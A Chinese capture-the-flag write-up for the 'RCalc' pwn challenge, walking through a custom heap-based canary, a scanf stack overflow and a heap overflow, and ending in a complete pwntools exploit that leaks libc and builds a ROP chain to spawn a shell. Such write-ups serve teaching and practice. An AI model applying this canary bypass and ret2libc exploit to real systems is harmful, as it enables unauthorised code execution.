攻防世界PWN之RCalc题解
RCalc
首先,检查一下程序的保护机制,还不错,只开了NX
然后,我们用IDA分析
看到这,感觉像是堆的题,应该会很复杂。然而,我们再看看其他地方,发现这个函数只是在初始化时调用的,也不太可能会被利用,而且程序全程没有调用free函数
然后,我们瞧瞧其他函数,看到这里感觉好复杂,然而,它只是一个用来生成随机数的函数罢了
然后,我们继续看其他函数
这个样子,好像是canary的保护机制啊。这不就是他自己写了一个类似于canary的东西吗
原来那么一大堆,只是为了完成堆溢出检测罢了
scanf这里有一个栈溢出
这里是保存计算结果到堆里
其中,它没有检查堆溢出,里面的数据可以无限制的添加
取canary的操作
我们可以看出,他自己写的canary机制是把值存到一个堆里,并且遵循栈的性质
- typedef struct {
- int top;
- int *data;
- } Canarys;
再重新看看创建堆的操作,经过分析,第一个0x100堆用来存放计算结果,第二个0x320堆用来存放n个canary的值。由于创建的顺序是0x100的那个用来保存计算结果的堆先创建,并且之前没有free操作,那么0x100堆的后面就是0x320堆,我们可以从0x100堆里溢出到0x320堆里,覆盖canary的值为我们自己设置的值,这样就绕过了这个检测机制,然后就是正常的ROP操作了。
调试看看
所以,需要保存(0Xceb160-0xceb050) / 8 = 0x22个整数后,就可以溢出了
- def setCanary(canary):
- for i in range(0x22):
- sh.sendlineafter('Your choice:','1')
- sh.sendlineafter('input 2 integer:','0')
- sh.sendline('1')
- sh.sendlineafter('Save the result?','yes')
- sh.sendlineafter('Your choice:','1')
- sh.sendlineafter('input 2 integer:','0')
- sh.sendline(str(canary))
- sh.sendlineafter('Save the result?','yes')
本题,由于是使用scanf来输入payload中的,因此,我们的payload中不能出现0x20(空格)数据,也就是地址里,不能有0x20数据,因此这些got表都用不了,放入payload的话,scanf遇到0x20就会停止输入,从而造成payload输入不完整。
但是,上面的那个__libc_start_main或__gmon_start__倒是可以用来泄露,因为他们的got表地址没有0x20
Puts也不能用了,因为有0x20
我们用printf
那么,我们先泄露__libc_start_main加载地址,计算出libc地址
- payload = 'a'*0x108 + p64(mycanary) + 'a'*0x8 + p64(pop_rdi) + p64(__libc_start_main_got) + p64(printf_plt) + p64(main_addr)
- sh.sendlineafter('Input your name pls: ',payload)
- #现在我们要通过堆溢出,把canary的值改成我们的mycanary
- setCanary(mycanary)
- sh.sendlineafter('Your choice:','5')
这里有个奇怪的问题,当mycanary为非0时,printf会报错
所以我们的mycanary统一就都为0吧
于是,我们最终的exp脚本
- #coding:utf8
- from pwn import *
- context.log_level = 'debug'
- #sh = remote('111.198.29.45',49895)
- sh = process('./RCalc')
- elf = ELF('./RCalc')
- libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
- printf_plt = elf.plt['printf']
- __libc_start_main_got = elf.got['__libc_start_main']
- #pop_rdi用于64位函数传参
- pop_rdi = 0x401123
- main_addr = 0x401036
- #我们自己设置canary,不知道为什么,如果非0,printf会报段错误
- mycanary = 0
- print hex(__libc_start_main_got)
- def setCanary(canary):
- for i in range(0x22):
- sh.sendlineafter('Your choice:','1')
- sh.sendlineafter('input 2 integer:','0')
- sh.sendline('1')
- sh.sendlineafter('Save the result?','yes')
- sh.sendlineafter('Your choice:','1')
- sh.sendlineafter('input 2 integer:','0')
- sh.sendline(str(canary))
- sh.sendlineafter('Save the result?','yes')
- #注意,我们的payload中不能有0x20数据,因为这是空格,会导致数据截断
- #我们先写ROP到栈里
- payload = 'a'*0x108 + p64(mycanary) + 'a'*0x8 + p64(pop_rdi) + p64(__libc_start_main_got) + p64(printf_plt) + p64(main_addr)
- sh.sendlineafter('Input your name pls: ',payload)
- #现在我们要通过堆溢出,把canary的值改成我们的mycanary
- setCanary(mycanary)
- sh.sendlineafter('Your choice:','5')
- __libc_start_main_addr = u64(sh.recv(6).ljust(8,'\x00'))
- #获取libc基地址
- libc_base = __libc_start_main_addr - libc.sym['__libc_start_main']
- system_addr = libc_base + libc.sym['system']
- binsh_addr = libc_base + libc.search('/bin/sh').next()
- print 'libc_base=',hex(libc_base)
- payload = 'a'*0x108 + p64(mycanary) + 'a'*0x8 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
- sh.sendlineafter('Input your name pls: ',payload)
- setCanary(mycanary)
- sh.sendlineafter('Your choice:','5')
- sh.interactive()